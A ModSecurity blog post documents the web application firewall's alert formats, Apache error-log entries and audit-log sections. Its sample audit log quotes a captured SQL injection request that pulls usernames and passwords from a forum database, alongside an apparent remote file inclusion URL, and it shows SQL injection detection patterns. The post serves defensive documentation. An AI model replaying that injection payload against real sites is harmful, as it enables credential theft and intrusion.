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SpiderLabs Blog

ModSecurity Data Formats

I have just added a new section to the ModSecurity v2.5 Reference Manual, describing the data formats we use. Nothing spectacular, I know, but it is always nice when things get written down.

Alerts

Below is an example of a ModSecurity alert entry. It is always contained on a single line but we've broken it here into multiple lines for readability.

Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]

Each alert entry begins with the engine message:

Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.

The engine message consists of two parts. The first part tells you whether ModSecurity acted to interrupt transaction or rule processing. If it did nothing the first part of the message will simply say "Warning". If an action was taken then one of the following messages will be used:

  • Access denied with code %0 - a response with status code %0 was sent.
  • Access denied with connection close - connection was abruptly closed.
  • Access denied with redirection to %0 using status %1 - a redirection to URI %0 was issued using status %1.
  • Access allowed - rule engine stopped processing rules (transaction was unaffected).
  • Access to phase allowed - rule engine stopped processing rules in the current phase only. Subsequent phases will be processed normally. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.
  • Access to request allowed - rule engine stopped processing rules in the current phase. Phases prior to request execution in the backend (currently phases 1 and 2) will not be processed. The response phases (currently phases 3 and 4) and others (currently phase 5) will be processed as normal. Transaction was not affected by this rule but it may be affected by any of the rules in the subsequent phase.

The second part of the engine message explains why the event was generated. Since it is automatically generated from the rules it will be very technical in nature talking about operators and their parameters and give you insight into what the rule looked like. But this message cannot give you insight into the reasoning behind the rule. A well-written rule will always specify a human-readable message (using the msg action) to provide further clarification.
The metadata fields are always placed at the end of the alert entry. Each metadata field is a text fragment that consists of an open bracket followed by the metadata field name, followed by the value and the closing bracket. What follows is the text fragment that makes up the id metadata field.

[id "960034"]

The following metadata fields are currently used:

  1. id - Unique rule ID, as specified by the id action.
  2. rev - Rule revision, as specified by the rev action.
  3. msg - Human-readable message, as specified by the msg action.
  4. severity - Event severity, as specified by the severity action.
  5. unique_id - Unique event ID, generated automatically.
  6. uri - Request URI.
  7. logdata - contains transaction data fragment, as specified by the logdata action.

Alerts in Apache

Every ModSecurity alert conforms to the following format when it appears in the Apache error log:

[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE

The above is a standard Apache error log format. The "ModSecurity:" prefix is specific to ModSecurity. It is used to allow quick identification of ModSecurity alert messages when they appear in the same file next to other Apache messages.
The actual message (ALERT_MESSAGE in the example above) is in the same format as described in the Alerts section.

Alerts in Audit Log

Alerts are transported in the H section of the ModSecurity Audit Log. Alerts will appear each on a separate line and in the order they were generated by ModSecurity. Each line will be in the following format:

Message: ALERT_MESSAGE

Below is an example of an entire H section (followed by the Z section terminator):

--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x

--c7036611-Z--

Audit Log

ModSecurity records one transaction in a single audit log file. Below is an example:

--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.example.com
User-Agent: libwww-perl/5.808

--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1

--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x

--c7036611-Z--

The file consist of multiple sections, each in different format. Separators are used to define sections:

--c7036611-A--

A separator always begins on a new line and conforms to the following format:

  1. Two dashes at the beginning.
  2. Unique boundary, which consists from several hexadecimal characters.
  3. One dash character.
  4. Section identifier, currently a single uppercase letter.
  5. Two trailing dashes at the end.

Refer to the documentation for SecAuditLogParts for the explanation of each part.

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